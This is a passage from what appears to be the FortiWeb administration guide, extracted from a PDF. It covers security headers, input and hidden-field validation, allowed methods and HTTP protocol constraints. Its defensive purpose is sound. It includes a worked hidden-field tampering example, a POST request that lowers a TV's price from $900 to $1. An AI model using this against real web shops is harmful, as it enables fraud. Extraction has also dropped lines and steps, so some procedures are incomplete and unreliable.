l nosniff: The browser will not guess any content type that is not explicitly
specified when downloading extensions.
X-XSS-Protection This header enables a browser's built-in Cross-site scripting (XSS)

protection.
The X-XSS-Protection header can be implemented with one of the following
options:
l Sanitizing Mode: The browser will sanitize the malicious scripts when a
XSS attack is detected.
l Block Mode: The browser will block the page when a XSS attack is
detected.
Content-Security- FortiWeb adds the Content-Security-Policy HTTP header to a web page,

Policy allowing you to specify restrictions on resource types and sources. This
prevents certain types of attacks, including XSS and data injection attacks.
To configure an HTTP header security policy
1. Go to Web Protection > Advanced Protection > HTTP Header Security and select an existing policy or
create a new one. If creating a new policy, the maximum length of the name is 63 characters; special characters
are prohibited.
2. If you created a new policy, click OK to save it. If editing an existing policy, select it and click Edit.
3. Select an existing rule to edit or create a new one in Secure Header Table.
URL Filter Click to enable or disable URL filter:

l Enable: Responses to the request will be processed with the security
headers only if the URL of a request matches the specified Request URL
on page 517.

l Disable: All responses will be processed with the selected security

header(s).
Request URL Type Select Simple String to match the URL of requests with a literal URL
specified in Request URL on page 517.
Select Regular Expression to match the URL of requests with a regular
expression specified in Request URL on page 517.
Note: this is available only when URL Filter on page 516 is enabled.
Request URL Specify the URL used to match requests so that security headers can be
applied to responses of the matched requests.
if Simple String is selected in Request URL Type on page 517, enter a
literal URL, such as /folder1/index.htm that the HTTP request must
contain in order to match the rule, or use wildcards to match multiple URLs,
such as /folder1/* or /folder1/*/index.htm. The URL must begin
with a slash ( / ).
If Regular Expression is selected, enter a regular expression.
After filling in the field with a regular expression, it is possible to fine-tune the
Note: this is available only when URL Filter is enabled.
Secure Header Select the security header to be inserted into the responses.
Type
l X-Frame-Options
l X-Content-Type-Options
l X-XSS-Protection
l Content-Security-Policy
For details, see FortiWeb security headers on page 516.

Header Value Select the value for the selected security header.
If X-Frame-Options is selected, the options will be:
l DENY
l SAMEORIGIN
l ALLOW-FROM
If X-Content-Type-Options is selected, the option will be:

l nosniff
If X-XSS-Protection is selected, the options will be:

l Sanitizing Mode
l Block Mode
If Content-Security-Policy is selected, enter the header value(s) that your

server will specify to set restrictions on resource types and sources. For
example, you could enter default-src 'self';script-src 'self';object-src
'self'.
For details, see FortiWeb security headers on page 516"FortiWeb
security headers" FortiWeb security headers on page 516.
Allowed From It will require you to specify a URI (Uniform Resource Identifier) if header X-
URL Frame-Options and the option ALLOW-FROM are selected.
For details, see FortiWeb security headers on page 516.
5. Click OK to save the configuration.

6. To use this HTTP Header Security policy in a protection profile, go to Policy > Web Protection Profile and
configure an inline protection profile with the HTTP Header Security policy. For details, see HTTP Header Security
on page 225.

Preventing zero-day attacks
While your first line of defense is to scan for known attacks, zero-day attacks are, by definition, unknown.
To defend against zero-day buffer overflow, buffer underflow, shell code, and similar injection attacks that you have not
yet identified and created a signature for, input validation can help. You can configure FortiWeb to sanitize inputs at the
web application level. For attacks that operate at the HTTP protocol level, or attacks that are not types of application or
document injection attacks, see HTTP/HTTPS protocol constraints on page 532 and Access control on page 433.
See also

Validating parameters (“input rules”)
You can configure rules to validate parameters (input) of your web applications.
Input rules define whether or not parameters are required, and their maximum allowed length, for requests that match:
l Host: field in the HTTP header
l URL
as defined in the input rule. Inputs are typically the <input> tags in an HTML form.
For example, one web page might have an HTML form with multiple inputs, including:
l A user name
l A password
l A preference for whether or not to remember the login
Within the input rule for that web page, you can define separate rules for each parameter in the request: one rule for the
user name parameter, one rule for the password parameter, and one rule for the preference parameter. You can use the
password rule to enforce password complexity by requiring it to match a Level 2 Password data type.
Unlike hidden field rules, input rules are for visible inputs only, such as buttons and text areas. For information on
constraining hidden inputs, see Preventing tampering with hidden inputs on page 524.
Each input rule contains one or more individual rules. Collectively, individual rules define all parameter restrictions that
apply to requests matching the specified URL and host name combination.
If an HTTP/HTTPS request contains repeated parameters, FortiWeb enforces the input rules for all instances of the
parameter—not just the first time it occurs in the request.

FortiWeb cannot enforce the rule if the parameter is bigger than the memory size
you have configured for FortiWeb’s scan buffers. To configure the buffer size, see
http-cachesize in the FortiWeb CLI Reference:
If your web applications do not require requests larger than the buffer, enable
Malformed Request on page 538 to harden your configuration.
To configure an input rule
1. Before you configure an input rule, if you want to apply it only to HTTP requests for a specific real or virtual host,
you must first define the web host in a protected host names group (see Defining your protected/allowed HTTP
“Host:” header names on page 160). If you want to define your own data types, you should also configure those first
(see Validating parameters (“input rules”) on page 519).
2. Go to Web Protection > Input Validation > Parameter Validation and select the Parameter Validation Rule
tab.
Host Status Enable to apply this input rule only to HTTP requests for specific web hosts.
Disable to match the input rule based upon the other criteria, such as the
URL, but regardless of the Host: field.
signature exception.
Request URL Type Select whether the Request URL on page 520 field must contain a literal URL
(Simple String), or a regular expression designed to match multiple URLs
(Regular Expression).
Request URL Depending on your selection in Request URL Type on page 520, type either:
l A regular expression, such as ^/*.php, matching all and only the URLs
to which the input rule should apply. The pattern does not require a slash
( / ).; however, it must at least match URLs that begin with a slash, such
as /index.cfm.
configured separately in the Host on page 520 drop-down list.

l Alert—Accept the connection and generate an alert email and/or log
message.
protection profile and generate an alert and/or log message. Also
page 228.
Forbidden error message and generate an alert and/or log message.
The default value is Alert. See also Reducing false positives on page 802.
rule.
l Informative
l Low
l Medium

l High
5. Click OK.
Note: You can add up to 1,024.
Name Type Select one of the following options:

l Simple String—Name on page 522 contains the name attribute of the
parameter’s input tag exactly as it appears in the form on the web page.
l Regular Expression—Name on page 522 contains a regular expression
designed to match the name attribute of the parameter’s input tag.
Name Enter one of the following:

l The value of the Name attribute of the parameter’s input tag exactly as it
appears in the form on the web page if Name Type on page 522 is
Simple String.
For example, for an input tag that is defined by the following HTML code,
enter pwd:
<input type="password" name="pwd" />
l A regular expression that matches the name attribute of the parameter’s
input tag if Name Type on page 522 is Regular Expression.
Note: FortiWeb does not support regular expressions that begin with an
exclamation point ( ! ). For information on language and regular expression
matching, see Regular expression syntax on page 880.
Max Length Type the maximum length of the string that is the input’s value.
For example, if the input’s value is always a short string like candy, the
maximum length could be 5. If the value is a number less than 100 such as
42, the maximum length should be 2 (since the number “42” is 2 characters
long).
To disable the length limit, type 0.
See also Malformed Request on page 538.
Required Enable if the parameter is required for HTTP/HTTPS requests to this

combination of Host: field and URL.
Use Type Check Enable to validate the data type of the parameter. Also configure Argument
Type on page 522.
Argument Type Select one of:

l Data Type—Select one of the predefined data types from Data Type on
page 523.
l Regular Expression—Define the data type using a regular expression
in Regular Expression on page 523.
l Custom Data Type—Select one of the custom data types from Custom

Data Type on page 523.

This option is only applicable when Use Type Check on page 522 is enabled.
Data Type Select a predefined data type. See "Predefined data types" on page 1.
This option is only available when Argument Type on page 522 is Data Type.
Regular Expression Type a regular expression that matches all valid values, and no invalid values,
for this input.
This option is only available when Argument Type on page 522 is Regular
Expression.
Custom Data Type Select a custom data type. For details, see Validating parameters (“input
rules”) on page 519.
This option is only available when Argument Type on page 522 is Custom
Data Type.
8. Click OK.
9. Repeat the previous steps for each individual validation rule that you want to add to the group of validation rules.
10. Go to Web Protection > Input Validation > Parameter Validation and select the Parameter Validation Policy
tab.
63 characters.
13. Click OK.
15. From the rule drop-down list, select the name of an existing input validation rule.
To view or change the information associated with the rule, select the icon. The Edit Parameter Validation
Rule dialog appears. Use the browser Back button to return.
16. Click OK.
17. Repeat the previous steps for each input rule that you want to add to the parameter validation rule.
18. To apply the parameter validation policy, select it in an inline or Offline Protection profile. For details, see
Attack log messages contain Parameter Validation Violation when this feature detects a parameter
rule violation.

If you do not want sensitive inputs such as passwords to appear in the attack
logs’ packet payloads, you can obscure them. For details, see Obscuring
sensitive data in the logs on page 712.
See also

l Bulk changes to input validation rules on page 524
Bulk changes to input validation rules
If you need to make the same change to multiple parameter validation rules, you can apply some changes as a batch
instead of individually.
To apply a batch of changes
1. Go to Web Protection > Input Validation > Parameter Validation Rule.

2. Mark the check boxes of all rules that will receive the same change. Additional buttons will become available on the
tool bar, such as Edit Action, Edit Trigger Policy, or Edit Severity.
3. Click one of those buttons, then from the drop-down menu that appears, select the new value for setting.
To create a custom data type by modifying a predefined data type, copy the text in
the Pattern column of the predefined data type, then paste it into a custom data
type. For details, see "Predefined data types" on page 1.
Preventing tampering with hidden inputs
Unlike visible inputs, hidden field rules are for hidden parameters only, from <input type="hidden"> HTML tags.
For information on constraining visible inputs, see Validating parameters (“input rules”) on page 519.
Hidden form inputs are often written into an HTML page by the web server when it serves that page to the client, and
are not visible on the rendered web page. Because HTTP is essentially stateless, like cookies, hidden form inputs are
one way that web applications can use to remember session data from one page request to the next (called
“persistence”).

For example, to remember the price of a TV accessed from a secret sale URL previously requested that session, this
form remembers the sale price, and will provide it again to the shopping cart application when the client submits the
payment page:
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="900">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
Since they are not rendered visible, hidden inputs are sometimes erroneously perceived as safe. But similar to session
cookies, hidden form inputs store the software’s state information client-side, instead of server-side. This makes it
vulnerable.
Hidden fields are accessible through the JavaScript document object model (DOM). Additionally, forms often use the
HTTP POST method and send input to a URL (such as /checkPayment.do) that legitimate clients never see, since
the server replies with an HTTP 302 status code and the next URL in the Location: header, which the client then
fetches using the GET method and displays. Unless there is code to prevent it, however, attackers often can easily send
altered hidden inputs to this POST URL simply by altering a local copy of the page, using a browser plug-in tool such as
Tamper Data, or in some cases simply typing different URL parameters into the browser’s location bar.
Like any other input from clients, it can be tampered with and should not be trusted. Tampered hidden inputs can be
used as a vector for state-based attacks.
To follow the above example, an attacker could alter the sale price so that he or she can buy the item much more
cheaply:
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="1">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
When this form is submitted, the attacker orders TVs at a price reduced from $900 to $1. The request looks like this:
POST /processPayment.do HTTP/1.1
Host: www.example.com
Referer: http://www.example.com/checkout.do
Cookie: JSESSIONID=12345667890
Content-Type: application/x-www-form-urlencoded
POSTDATA quantity=9999&price=1
Unless the web application is smart enough to test for unauthorized prices, /processPayment.do accepts the
request, processes the order, and returns a normal reply like this:
HTTP/1.1 302 Moved
Set-Cookie: JSESSIONID=12345667890;HttpOnly
Location: http://www.example.com/thankYou.do
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
The client then loads the final “thank you” shopping cart page indicated in the reply’s Location: header.

Hidden field rules prevent tampering by caching the values of a session’s hidden inputs as they pass from the server to
the client, and verifying that they remain unchanged when the client submits the form to its POST URL.
To configure a hidden field rule
1. Before you configure a hidden field rule, if you want to apply it only to HTTP/HTTPS requests for a specific real or
virtual host, you must first define the web host in a protected host names group. For details, see Defining your
2. Go to Web Protection > Input Validation > Hidden Fields and select the Hidden Fields Rule tab.
Host Status Enable if you want the hidden field rule to apply only to HTTP/HTTPS
requests for a specific web host. Also configure Host on page 526.
Host Select the name of a protected host that the Host: field of an HTTP request
must be in to match the hidden field rule.
Request URL Type the exact URL that contains the hidden input for which you want to
create a hidden field rule. This is usually a form that is visible to the person’s
web browser, not the CGI script or page that processes submitted forms.
The URL must begin with a slash ( / ). Do not include the web host name, such
as www.example.com. It is configured separately in the Host on page 526
drop-down list.
message.
alert and/or log message.


protection profile and generate an alert and/or log message. Also
page 228.
Note: This setting will be ignored if Monitor Mode on page 251 is enabled.
Note: Because the new active appliance does not know previous session
history, after an HA failover, for existing sessions, FortiWeb will not be able to
apply this feature. For details, see Sessions & FortiWeb HA on page 46.
rule.
The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
l Informative
l Low
l Medium
l High
5. Click OK.
6. Click Fetch URL.

7. In the Pserver drop-down list, select the IP address of a physical server.
In Port, type the TCP port number on which the physical server listens for HTTP/HTTPS connections. The valid

range is from 0 to 65,535. Typically HTTP is port 80; HTTPS is port 443.
In Protocol, select whether to connect to the back-end web server using either HTTP or HTTPS.
8. Click the OK button on the dialog.
FortiWeb retrieves the web page you specified in Request URL on page 526 on the Hidden Fields Rule dialog,
and analyzes it. A new dialog appears displaying a list of hidden inputs that FortiWeb found, and URLs where those
hidden inputs will be posted when a client submits the form.
Entries in the list are color-coded by the recommended course of action:
l Blue—The URL/hidden field exists in the requested URL, but you have not yet configured it in the hidden field
rule. Add it to the hidden field rule.
l Red—The URL/hidden field does not exist in the requested URL, yet it is currently configured in the hidden
field rule. Remove it from the hidden field rule.
l Black—The URL/hidden field exists in both the requested URL and your hidden field rule.
For each entry that you want included in the hidden field rule, in the Status column, mark its check box.
Also mark the check boxes of any previously configured items that you want to
keep in the hidden field rule. If you do not, they will be deleted.
9. Click OK to save the entries in the dialog.

FortiWeb adds the entries to the Post URL Table and Hidden Fields Table on the Hidden Fields Rule dialog.
It also removes any that did not match the fetched URL.
10. To manually add entries to either table, do the following:
l Click Create New under the applicable table.
l A dialog appears prompting for either a new URL or hidden field.
l Enter the name of the post URL or hidden field.
Click OK.
11. Repeat the previous steps for each post URL or hidden field that you want to manually add to the hidden field rule.
12. On the Hidden Fields Rule dialog, click OK.
13. Go to Web Protection > Input Validation > Hidden Fields and select the Hidden Fields Policy tab.
63 characters.
16. Click OK.
17. Click Create New to include a rule in the set.
18. From the Hidden Fields Rule drop-down list, select the name of an existing hidden field rule that you want to add
to the set.
19. Click OK.
20. Repeat the previous steps for each individual rule that you want to add to the hidden fields policy.
21. To apply a hidden field policy:
l Select it in an inline protection profile. For details, see Configuring a protection profile for inline topologies on
page 223.
l Enable Configuring a protection profile for inline topologies on page 223.

See also

Specifying allowed HTTP methods
You can configure policies that allow only specific HTTP request methods. This can be useful for preventing attacks,
such as those exploiting the HTTP method TRACE.
Some popular web applications such as Subversion, CalDAV, and WebDAV require custom or less common HTTP
methods. While developing web applications, the HTTP method TRACE may be useful, but in production
environments, it may disclose sensitive information to attackers. Many web applications only require GET and POST.
Disabling all unused methods reduces the potential attack surface area for attackers.
Generally, TRACE should only be used during debugging, and should be disabled
otherwise.
To configure an HTTP request method policy
1. If you want to include method exceptions in a policy, create them first. For details, see Configuring allowed method
exceptions on page 530.
2. Go to Web Protection > Access > Allow Method and select the Allow Method Policy tab.
Allow Request Mark the check boxes for all HTTP request methods that you want to allow for
this specific policy.
Methods that you do not select will be denied, unless specifically allowed for a
host and/or URL in the selected Allow Method Exceptions on page 530.
The OTHERS option includes methods not specifically named in the other
options. It often may be required by WebDAV (RFC 4918;
http://tools.ietf.org/html/rfc4918) applications such as Microsoft Exchange
Server 2003 and Subversion, which may require HTTP methods not
commonly used by web browsers, such as PROPFIND and BCOPY.
l Informative

l Low
l Medium
l High
Allow Method Exceptions Select an HTTP request method exception definition to apply to the policy.
The method exceptions define specific HTTP request methods that are
allowed by specific URLs and hosts.
If you want to view the information associated with the HTTP request method
exceptions used by this policy, select the Detail link beside the Allow
Method Exceptions list. The Allow Method Exceptions dialog appears.
Use the browser Back button to return.
For details, see Configuring allowed method exceptions on page 530.
5. Click OK.
6. To apply the allowed method policy, select it in an inline or Offline Protection profile. For details, see Configuring a
See also
Configuring allowed method exceptions
You can configure exceptions to allowed HTTP method policies.

While most URL and host name combinations controlled by a profile may require similar HTTP request methods, you
may have some that require different methods. Instead of forming separate policies and profiles for those requests, you
can configure allowed method exceptions. The exceptions define specific HTTP request methods that are allowed by
specific URLs and hosts.
To configure an allowed method exception
1. Before you configure an allowed method exception, if you want to apply it only to HTTP requests for a specific real
or virtual host, you must first define the web host in a protected host names group. For details, see Defining your
2. Go to Web Protection > Access > Allow Method and select the Allow Method Exceptions tab.
63 characters.
5. Click OK.

host names entry in order to match the allowed method exception. Also
allowed method exception.
Type Select whether URL Pattern on page 531 is a Simple String (that is, a literal
URL) or a Regular Expression.
URL Pattern Depending on your selection in Type on page 531, enter either:
l The literal URL, such as /folder1/index.htm, that is an exception
to the generally allowed HTTP request methods , or use wildcards, such
as /folder1/* or /folder1/*/index.htm. The URL must begin
with a slash ( / ).
l A regular expression, such as ^/*.php, matching all and only the URLs
which are exceptions to the generally allowed HTTP request methods.
The pattern does not require a slash ( / ); however, it must at match URLs
that begin with a slash, such as /index.cfm.
For example, if multiple URLs on a host have identical HTTP request

method requirements, you would type a regular expression matching all
of and only those URLs.
configured separately in the Host on page 531 drop-down list.
Allow Method Exception Mark the check boxes of all HTTP request methods that you want to allow.
Methods that you do not select will be denied.
The OTHERS option includes methods not specifically named in the other
options. It often may be required by WebDAV (RFC 4918;
http://tools.ietf.org/html/rfc4918) applications such as Microsoft Exchange
Server 2003 and Subversion, which may require HTTP methods not
commonly used by web browsers, such as PROPFIND and BCOPY.
8. Click OK.
9. Repeat the previous steps for each exception that you want to add to the allowed method exceptions.
10. To apply the allowed method exception, select it in an allowed method policy. For details, see Specifying allowed
HTTP methods on page 529.
See also


HTTP/HTTPS protocol constraints
Protocol constraints govern features such as the HTTP header fields in the protocol itself, as well as the length of the
HTML, XML, or other documents or encapsulated protocols carried in the HTTP body payload.
Use protocol constraints to prevent attacks such as buffer overflows. Buffer overflows can occur in web servers and
applications that do not restrict elements of the HTTP protocol to acceptable lengths, or that mishandle malformed
requests. Such errors can lead to security vulnerabilities.
You can also set HTTP protocol constraint exception rules. HTTP protocol constraint exceptions specify certain protocol
constraints from specific hosts that will not be subject to response actions defined in a protocol constraint profile. For
details, see Configuring HTTP protocol constraint exceptions on page 540.
Default HTTP protocol constraint values reflect the buffer size of your FortiWeb
model’s HTTP parser. Use protocol constraints to block requests that are too
large for the memory size of FortiWeb’s scan buffers.
Failure to block items that are too large to be buffered could compromise your
network’s security, and allow requests without scanning or rewriting. For details,
see Buffer hardening on page 796.
For example, if your web applications require HTTP POST requests with unusually
large parameters, you would adjust the HTTP body buffer size. For details, see
http-cachesize in the FortiWeb CLI Reference:
Next, you would configure Malformed Request and other HTTP protocol constraints
to harden your configuration.
This scan is bypassed if the client’s source IP is a known search engine and you
have configured Known Search Engines in Configuring known bots on page 754.
To configure an HTTP protocol constraint profile
To access this part of the web UI, your administrator’s account access profile must have Read and Write permissions
for items in the Web Protection Configuration category. For details, see Permissions on page 56.
If you plan to add constraint exceptions to your HTTP protocol constraints, configure
the exceptions first. For details, see Configuring HTTP protocol constraint
If you want to use a trigger when the rule is violated, configure that also. For details,
see Viewing log messages on page 718.
1. Go to Web Protection > Protocol and select the HTTP Protocol Constraints tab.

3. To enable protocol constraints that you want the profile to monitor, toggle them in the Status column. For a brief
description of a protocol constraint, click its name. Configure these settings:
Content Length

Content Length Specifies the maximum acceptable length in bytes of the request
body. Length is determined by comparing this limit with the value
of the Content-Length: field in the HTTP header.
Attack log messages contain Content Length Exceeded
when this feature detects a content length buffer overflow attempt.
Tip: RPC requests’ content length often do not match their own
Content-Length: header. Attackers may also intentionally craft
mismatching Content-Length: headers in an attempt to cloak
buffer overflows. For those cases, use other limits instead or in
addition, such as Body Length on page 537 and Limiting file
uploads on page 597.
Illegal Content Enable to check whether the Content-Length: header

Length includes numeric characters only.
HTTP Header
Header Length Specifies the maximum acceptable size in bytes of all HTTP
header lines.
Attack log messages contain Total Size of All Headers
Too Large when this feature detects a header size buffer
overflow attempt.
Header Name Length Specifies the maximum acceptable size in bytes of a single HTTP
header name (for example, Host:, Content-Type:, User-
Agent:).
The default is 50 bytes.
Header Value Length Specifies the maximum acceptable size in bytes of a single HTTP
header value.
The default is 4096 bytes.
Illegal Character in Enable to check whether the HTTP header name contains illegal
Header Name characters.
Illegal Character in Enable to check whether the HTTP header value contains illegal
Header Value characters.
Redundant HTTP Enable to check whether a HTTP request contains multiple

Headers instances of Content-Length (only for HTTP/1.x), Content-
Type(for both HTTP/1.x and HTTP/2) and Host (for both
HTTP/1.x and HTTP/2) herder fields. These header fields are
required to appear only once in a request by the RFC. Redundant
HTTP headers are most probably involved in possible attacks.
HTTP Parameter
Total URL Specifies the total maximum acceptable length in bytes of all
Parameters Length parameters, including their names and values, in the URL.
Parameters usually appear after a ?, such as:
/url?parameter1=value1&parameter2=value2

The count does not include:

l Question mark ( ? ), ampersand ( & ), and equal ( = )
characters are not included.
l Parameters in the HTTP body, which can occur with
HTTP POST requests. For these parameters, configure
Total Body Parameters Length or Body Length instead.
Attack log messages contain Total URL Parameters
Length Exceeded when this feature detects a URL parameter
line length buffer overflow attempt.
Total Body Specifies the total maximum acceptable size in bytes of all the
Parameters Length parameters in the HTTP body of HTTP POST requests.
Question mark ( ? ), ampersand ( & ), and equal ( = ) characters are
not included.
Attack log messages contain Total Body Parameters
Length Exceeded when this feature detects a total parameter
size buffer overflow attempt.
Number of URL Specifies the maximum number of parameters in the URL. The
Parameters maximum number is 1024.
It does not include parameters in the HTTP body, which can occur
with HTTP POST requests.
Attack log messages contain Too Many Parameters in
Request when this feature detects a URL parameter count buffer
overflow attempt.
The default is 128.
NULL Character in Enable to check for null characters in parameter names.

Parameter Name
NULL Character in Enable to check for null characters in parameter values.

Parameter Value
Maximum URL Specifies the maximum acceptable length in bytes of each URL
Parameter Name parameter name in a request. Enable to check whether a
Length parameter name exceeds the limitation (the default is 4096). For
example, user in the request GET
/index.php?user=test&sid=1234 is an illegal parameter
name if you set the limitation as 3.
Maximum URL Specifies the maximum acceptable length in bytes of each URL
Parameter Value parameter value in a request. Enable to check whether a parameter
Length value exceeds the limitation (the default is 4096). For example,
1234 in the request GET
/index.php?user=test&sid=1234 is an illegal parameter
value if you set the limitation as 3.
Illegal Character in Enable to check whether a URL parameter name contains the
Parameter Name characters that are not allowed by the RFC. These illegal
characters are usually non-printable ASCII characters or other
special characters.

Illegal Character in Enable to check whether a URL parameter value contains the
Parameter Value characters that are not allowed by the RFC. These illegal
special characters.
Duplicate Parameter Enable to check whether a duplicate parameter name is in the

Name header or body parameters. This protocol constraint will be
triggered if:
l There are duplicate parameter names in the header
l There are duplicate parameter names in the body
l A parameter name in the header is also in the body
HTTP Request
Illegal HTTP Request Enable to check for invalid HTTP request methods according to
Method RFC 2616 (http://www.w3.org/Protocols/rfc2616/rfc2616-
sec9.html) or RFC 4918
(http://www.webdav.org/specs/rfc4918.html). Any method not
defined in these RFCs—including misspellings like GETT as well as
other HTTP extension methods (e.g. CalDAV) like MKCALENDAR—
are considered invalid.
Attack log messages contain Illegal HTTP Method when this
feature detects an invalid HTTP request method.
HTTP Request Specifies the maximum acceptable length in bytes of the HTTP
Filename Length request filename.
HTTP Request Specifies the maximum acceptable length in bytes of the entire
Length HTTP request, including both headers and body.
Attack log messages contain HTTP Request Length
Exceeded when this feature detects an excessively large HTTP
request.
Number of Header Specifies the maximum acceptable number of lines in the HTTP
Lines in Request header.
Attack log messages contain Too Many Headers when this
feature detects a header line count buffer overflow attempt.
Missing Content Enable to check whether the Content-Type: header is

Type available.
Null Character in Enable to check whether the URL (or path for HTTP/2) in a request
URL contains null characters (such as \0 or %00). This feature checks
the part between the host prefix and parameters in the URL (if they
exist), for example, the /index.php in GET
http://www.server.com/index.php?name=value
HTTP 1.1. Attackers might be embed NULL characters in URL to
evade detections.

Illegal Character in Enable to check whether the URL (or path for HTTP/2) in a request
URL contains characters that are not allowed by the RFC. These illegal
special characters (such as ASCII 0 - 31 and ASCII 127). This
feature checks the part between the host prefix and parameters in
the URL (if they exist), for example, the /index.php in GET
http://www.server.com/index.php?name=value
HTTP 1.1.
Malformed URL Enable to check whether the URL (or path for HTTP/2) in a request
conform the spec by beginning with a slash ("/") character or a slash
character follows the protocol prefix and host prefix in the URL (e.g.
http://myserver.com/default.asp). If the slash characters are
missing, it is typically a malicious access to other protocols (e.g.
SMTP) using the back-end web servers.
Odd and Even Space Enable to allow FortiWeb to detect Odd and Even Space Attacks.
Attack
HTTP/2 Max Specifies the maximum acceptable number of requests in an

Requests HTTP/2 connection.
The default number is 1000, and the valid range is 0-65535.
HTTP/2 Frame
Header Compression Specifies the maximum acceptable size in bytes of the header
Table Size compression table used to decode header blocks. Enable to check
whether value of parameter SETTINGS_HEADER_TABLE_SIZE
in a HTTP/2 SETTINGS frame exceeds the limitation and react
correspondingly.
The default is 65535.
This field applies to HTTP/2 only.
Number of Specifies the maximum acceptable number of concurrent streams

Concurrent Streams that the sender will allow the receiver to create. Enable to check
whether value of parameter SETTINGS_MAX_CONCURRENT_
STREAMS in a HTTP/2 SETTINGS frame exceeds the limitation
and react correspondingly.
The default is 1000.
Initial Window Size Specifies the maximum acceptable sender's initial window size in
bytes for stream-level flow control. Enable to check whether value
of parameter SETTINGS_INITIAL_WINDOW_SIZE in a HTTP/2
SETTINGS frame exceeds the limitation and react
correspondingly.
Default is 6291456.
Frame Size Specifies the maximum acceptable size in bytes of the frame
payload that the sender is willing to receive. Enable to check
whether value of parameter SETTINGS_MAX_FRAME_SIZE in a
HTTP/2 SETTINGS frame exceeds the limitation and react
correspondingly.

Default is 16384.
Header List Size Specifies the maximum acceptable size in bytes of the header list
that the sender is prepared to accept. Enable to check whether
value of parameter SETTINGS_MAX_HEADER_LIST_SIZE in a
HTTP/2 SETTINGS frame exceeds the limitation and react
correspondingly.
Default is 65536.
Others
Illegal Content Type Enable to check whether the Content Type: value uses the
format <type>/<subtype>.
Illegal Response Enable to check whether the HTTP response code is a 3-digit
Code number.
Illegal Host Name Enable to check for illegal characters in the Host: line of the
HTTP header, such as null characters or encoded characters.
For example, 0x0 or %00* are illegal.
Attack log messages contain Illegal Host Name when this
feature detects an invalid host name.
Illegal HTTP Version Enable to check for invalid HTTP version numbers. Currently, the
only valid version strings are HTTP/0.9, HTTP/1.0 or
HTTP/1.1.
Attack log messages contain Illegal HTTP Version when
this feature detects an invalid HTTP version number.
Body Length Specifies the maximum acceptable size in bytes of the HTTP body.
For requests that use the HTTP POST method, this typically
includes parameters submitted by HTML form inputs. In the case
of file uploads, this can normally be many megabytes. For most
simple forms, however, the body should be only a few kilobytes in
size at maximum.
Attack log messages contain Body Length Exceeded when
this feature detects a body size buffer overflow attempt.
Number of Cookies Specifies the maximum acceptable number of cookies in an HTTP

In Request request.
Attack log messages contain Too Many Cookies in
Request when this feature detects a cookie count buffer overflow
attempt.
Number of Ranges Specifies the maximum acceptable number of Range: lines in

in Range Header each HTTP header. The default value is 5.
Attack log messages contain Too Many Range Headers when
this feature detects too many Range: header lines.
Tip: Some versions of Apache are vulnerable to a denial of service
(DoS) attack on this header, where a malicious client floods the
server with many Range: headers. The default value is
appropriate for un-patched versions of Apache 2.0 and Apache 2.1.

Malformed Request Enable to inspect the request for:

l Syntax errors
l Exceeding the maximum buffer size allowed by FortiWeb’s
HTTP parser
Errors and buffer overflows can cause problems in web servers that
do not handle them gracefully. Such problems can lead to security
vulnerabilities.
Attack log messages contain Too Many Parameters or Too
Many Flash Parameters or another message that indicates
the specific cause when this feature detects a request with parser
errors or a FortiWeb buffer overflow attempt.
Caution: Fortinet strongly recommends to enable this option
unless large requests/parameters are required by the web
application. If part of a request is too large for its scan buffer,
FortiWeb cannot scan it for attacks. It also cannot perform rewrites.
Unless you configure it to block, FortiWeb allows oversized
requests to pass through without scanning or rewriting. This
could allow padded attacks to pass through, and rewriting to be
skipped.
If feasible, instead of disabling this option:
l Enlarge the scan buffer for each parameter. For details, see
http-cachesize in the FortiWeb CLI Reference
(https://docs.fortinet.com/document/fortiweb/). Requests
larger than the buffer will be flagged as potentially malformed
by FortiWeb’s parser, causing FortiWeb to block normal
requests (i.e., false positives). For more buffer specifications,
see Buffer hardening on page 796.
l Disable this setting only for URLs that require oversized
parameters. For details, see Configuring HTTP protocol
constraint exceptions on page 540.
RPC Protocol Enable to detect traffic that uses the PRC protocol.
WebSocket Protocol Enable to detect traffic that uses the WebSocket TCP-based
protocol.
Because FortiWeb acts as a pure socket proxy for WebSocket
traffic, it cannot apply security features to it.
Illegal Chunk Size Enable to check whether the value of Chunk Size field is a
hexadecimal value. A violation will be detected if the value is
presented in other numeral systems.
4. To edit a protocol constraint, right-click it and select Edit. Complete the configuration according to the table below:
Name Type a unique name that can be referenced in other parts of the
Exception Name Select the HTTP constraints exception, if any, that you want to apply
to this policy. For details, see Configuring HTTP protocol constraint

If you want to view or change the exception configuration, click

Detail.
Status Specify whether the rule applies when you apply this constraint to a
profile.
Length For rules that specify maximums, enter a maximum value.
Action Select the action the FortiWeb appliance takes when it detects a
log message.
668.
668.
indicates the original client’s IP. Failure to do so may cause
FortiWeb to block all connections when it detects a violation of
this type. For details, see Defining your proxies, clients, & X-
headers on page 193.
Caution: This setting is ignored when Monitor Mode on page 251 is
enabled.
Note: Logging and/or alert email occur only if you enable and
configure it. For details, see Logging on page 698 and Alert email on
page 724.
Block Period Type the number of seconds that you want to block subsequent
requests from the client after the FortiWeb appliance detects that the
client has violated the rule.
severity level to use when FortiWeb logs a violation of the rule:
l Informative
l Low

l Medium
l High
Threat Weight If Client Management is enabled in a web protection profile, it is

possible to adjust the threat weight of each constraint. For details,
see Client management on page 237Client management on page
237.
Trigger Action Select which trigger, if any, to use when FortiWeb logs and/or sends
an alert email about a violation of the rule. For details, see Viewing
HTTP Protocol Support HTTP/1.X Only indicates the constraint is effective against HTTP/1.x
traffic only.
HTTP/2 Only indicates the constraint is effective against HTTP/2
traffic only.
This field will be blank if the constraint is effective against both
HTTP/1.x and HTTP/2 traffic.
5. To save the profile configuration, click OK.

6. To apply the HTTP protocol constraint profile, select it in an inline or Offline Protection profile. For details, see
See also

Configuring HTTP protocol constraint exceptions
You can configure exceptions for HTTP protocol constraints.

HTTP protocol constraint exceptions specify certain protocol constraints from specific hosts that will not be subject to
response actions defined in a protocol constraint profile. Exception rules are useful when you know that some HTTP
protocol constraints will cause false positives by matching an attack signature during normal use.
For example, if you enable an exception for the Header Length protocol constraint in an exception rule for a specific
host, FortiWeb will skip the HTTP header length check when executing the web protection profile for that host.
As another example, some web applications require very large HTTP POST requests. You can use Host Status to create
an exception for the protocol constraint for those requests.
FortiWeb matches exception rules by URL. If a URL hits a rule, FortiWeb will
